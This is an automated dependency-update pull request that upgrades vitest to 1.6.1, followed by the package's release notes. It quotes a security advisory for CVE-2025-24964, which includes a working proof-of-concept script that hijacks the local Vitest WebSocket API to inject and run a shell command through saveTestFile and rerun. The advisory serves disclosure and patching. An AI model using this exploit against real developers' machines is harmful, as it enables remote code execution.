chore(deps): update dependency vitest to v1.6.1 [security]

[renovate]

Note

Mend has cancelled the proposed renaming of the Renovate GitHub app being renamed to mend[bot].

This notice will be removed on 2025-10-07.

---

This PR contains the following updates:

Package	Change	Age	Confidence
vitest (source)	1.3.1 -> 1.6.1

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

---

Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

• Remote Code Execution when accessing a malicious website while Vitest API server is listening | CVE-2025-24964

   🐞 Bug Fixes

• backport #​7317 to v1 - by @​hi-ogawa in #​7319

    View changes on GitHub

v1.6.0

Compare Source

   🚀 Features

• Support standalone mode  -  by @​sheremet-va in #​5565 (bdce0)
• Custom "snapshotEnvironment" option  -  by @​sheremet-va in #​5449 (30f72)
• benchmark: Support comparing benchmark result  -  by @​hi-ogawa and @​sheremet-va in #​5398 (f8d3d)
• browser: Allow injecting scripts  -  by @​sheremet-va in #​5656 (21e58)
• reporter: Support includeConsoleOutput and addFileAttribute in junit  -  by @​hi-ogawa in #​5659 (2f913)
• ui: Sort items by file name  -  by @​btea in #​5652 (1f726)

   🐞 Bug Fixes

• Keep order of arguments for .each in custom task collectors  -  by @​sheremet-va in #​5640 (7d57c)
• Call resolveId('vitest') after buildStart  -  by @​hi-ogawa in #​5646 (f5faf)
• Hash the name of the file when caching  -  by @​sheremet-va in #​5654 (c9e68)
• Don't panic on empty files in node_modules  -  by @​sheremet-va (40c29)
• Use toJSON for error serialization  -  by @​hi-ogawa in #​5526 (19a21)
• coverage:
  • Exclude *.test-d.* by default  -  by @​MindfulPol in #​5634 (bfe8a)
  • Apply vite-node's wrapper only to executed files  -  by @​AriPerkkio in #​5642 (c9883)
• vm:
  • Support network imports  -  by @​sheremet-va in #​5610 (103a6)

   🏎 Performance

• Improve performance of forks pool  -  by @​sheremet-va in #​5592 (d8304)
• Unnecessary rpc call when coverage is disabled  -  by @​AriPerkkio in #​5658 (c5712)

    View changes on GitHub

v1.5.3

Compare Source

   🐞 Bug Fixes

• Use package.json name for a workspace project if not provided  -  by @​sheremet-va in #​5608 (48fba)
• Backport jest iterable equality within object  -  by @​sukovanej in #​5621 (30e5d)
• browser: Support benchmark  -  by @​hi-ogawa in #​5622 (becab)
• reporter: Use default error formatter for JUnit  -  by @​hi-ogawa in #​5629 (20060)

    View changes on GitHub

v1.5.2

Compare Source

   🐞 Bug Fixes

• Check for null before storing in weakmap  -  by @​sheremet-va (ce368)

    View changes on GitHub

v1.5.1

Compare Source

   🚀 Features

• api: startVitest() to accept stdout and stdin  -  by @​AriPerkkio in #​5493 (780b1)
  • This is listed as a feature, but it doesn't increase the minor version because startVitest API is experimental and doesn't follow semver.

   🐞 Bug Fixes

• Close vite servers on all resolved projects  -  by @​surc54 in #​5544 (413ec)
• Fix default import.meta.env.PROD: false  -  by @​hi-ogawa in #​5561 (9c649)
• Resolve cwd correctly when initiating projects  -  by @​sheremet-va in #​5582 (ec9d7)
• Always run onTestFinished in reverse order  -  by @​sheremet-va in #​5598 (23f29)
• browser:
  • Disable fileParallelism by default on browser pool  -  by @​hi-ogawa in #​5528 (5c69f)
  • Dispose tester iframe on done  -  by @​hi-ogawa in #​5595 (b2135)
• coverage:
  • Fix bundling of v8-to-istanbul  -  by @​AriPerkkio in #​5549 (df6a4)
  • Prevent crash when cleanOnRerun is disabled  -  by @​AriPerkkio in #​5540 (ea3c1)
  • thresholds to compare files relative to root  -  by @​AriPerkkio in #​5574 (80265)
• expect:
  • Fix toEqual and toMatchObject with circular references  -  by @​hi-ogawa in #​5535 (9e641)
• vitest:
  • Fix false positive file filter match with leading slash  -  by @​hi-ogawa in #​5578 (316eb)
  • Watch the output directory correctly  -  by @​sheremet-va in #​5584 (e40f9)
  • StubEnv casts boolean on PROD/SSR/DEV  -  by @​sheremet-va in #​5590 (4da88)

    View changes on GitHub

v1.5.0

Compare Source

   🚀 Features

• Add configuration for diff truncation  -  by @​willieho in #​5073 and #​5333 (6797b)
• Remove unrelated noise from diff for toMatchObject()  -  by @​geersch in #​5364 (99276)
• Allow custom host for --inspect and --inspect-brk  -  by @​sheremet-va in #​5509 (61572)
• coverage: V8 to ignore empty lines, comments, types  -  by @​AriPerkkio in #​5457 (10b89)

   🐞 Bug Fixes

• describe calls not taking generic type parameters  -  by @​aryaemami59 in #​5415 (16bac)
• Prevent hang when process is mocked  -  by @​AriPerkkio in #​5430 (0ec4d)
• Don't check for "node:internal/console/" in console interceptor in case the environment is not Node.js  -  by @​sheremet-va (87d36)
• The value received by toMatch should be a string  -  by @​btea in #​5428 (67485)
• Increase stack trace limit for location, don't hardcode suite position  -  by @​sheremet-va in #​5518 (04b23)
• benchmark:
  • Run benchmark suites sequentially  -  by @​hi-ogawa in #​5444 (1f548)
  • Fix benchmark summary of single bench suite  -  by @​hi-ogawa in #​5489 (db981)
  • Table reporter for non TTY output  -  by @​hi-ogawa in #​5484 (bea23)
• expect:
  • Fix toHaveBeenNthCalledWith error message when not called  -  by @​hi-ogawa in #​5420 (e5253)
• types:
  • Pass correct type for suite factory  -  by @​sheremet-va in #​5437 (26718)
• utils:
  • Fix object diff with getter only property  -  by @​hi-ogawa in #​5466 (366d9)
• vite-node:
  • Fix isValidNodeImport to check "type": "module" first  -  by @​hi-ogawa in #​5416 (6fb15)
• vitest:
  • Correctly send console events when state changes  -  by @​sheremet-va (3463f)
  • Initiate FakeTimers on demand  -  by @​sheremet-va in #​5450 (e4e93)
  • Check unhighlighted code for code frame line limit  -  by @​hi-ogawa in #​5465 (6ae7e)
  • Correctly filter by parent folder  -  by @​sheremet-va in #​5408 (91b06)
  • Close inspector immediately if run is canceled  -  by @​sheremet-va in #​5519 (b8006)
• workspace:
  • Set CWD to config directory, allow overriding local .env  -  by @​sheremet-va in #​5476 (d4003)

    View changes on GitHub

v1.4.0

Compare Source

   🚀 Features

• Throw error when using snapshot assertion with not  -  by @​fenghan34 in #​5294 (b9d37)
• Add a flag to include test location in tasks  -  by @​sheremet-va in #​5342 (d627e)
• cli:
  • Support wildcards in --project option  -  by @​fenghan34 in #​5295 (201bd)
• config:
  • Add shuffle.files and shuffle.tests options  -  by @​fenghan34 in #​5281 (356db)
  • Deprecate cache.dir option  -  by @​fenghan34 in #​5229 (d7e8b)
• coverage:
  • Support --changed option  -  by @​AriPerkkio in #​5314 (600b4)
• vitest:
  • Support clearScreen cli flag  -  by @​hi-ogawa in #​5241 (e1735)

   🐞 Bug Fixes

• Repeatable --project option  -  by @​fenghan34 in #​5265 (d1a06)
• --inspect-brk to pause before execution  -  by @​AriPerkkio in #​5355 (e77c5)
• Correct locations in test.each tasks  -  by @​sheremet-va (4f6e3)
• api:
  • Use resolvedUrls from devserver  -  by @​saitonakamura and @​hi-ogawa in #​5289 (2fef5)
• browser:
  • Add magic-string to optimizeDeps.include  -  by @​hi-ogawa in #​5278 (8f04e)
• coverage:
  • Expensive regexp hangs v8 report generation  -  by @​AriPerkkio in #​5259 (d68a7)
  • V8 to ignore type-only files  -  by @​AriPerkkio in #​5328 (c3eb8)
  • Respect source maps of pre-transpiled sources  -  by @​AriPerkkio in #​5367 (6eda4)
  • Prevent reportsDirectory from removing user's project  -  by @​AriPerkkio in #​5376 (07ec3)
• expect:
  • Show diff on toContain/toMatch assertion error  -  by @​hi-ogawa in #​5267 (8ee59)
• forks:
  • Wrap defines to support undefined values  -  by @​AriPerkkio in #​5284 (5b58b)
• typecheck:
  • Update get-tsconfig 4.7.3 to fix false circularity error  -  by @​hi-ogawa in #​5384 (bdc37)
• ui:
  • Escape html in error diff  -  by @​hi-ogawa in #​5325 (ab60b)
• vitest:
  • Loosen onConsoleLog return type  -  by @​hi-ogawa in #​5337 (6d1b1)
  • Ensure restoring terminal cursor on close  -  by @​hi-ogawa in #​5292 (0bea2)
  • Ignore timeout on websocket reporter rpc  -  by @​sheremet-va (38119)
  • Correctly override api with --no-api flag  -  by @​sheremet-va in #​5386 (51d1d)
  • Logs in beforeAll and afterAll  -  by @​fenghan34 in #​5288 (ce5ca)
• workspace:
  • Throw error when browser mode and @vitest/coverage-v8 are used  -  by @​AriPerkkio in #​5250 (29f98)

    View changes on GitHub

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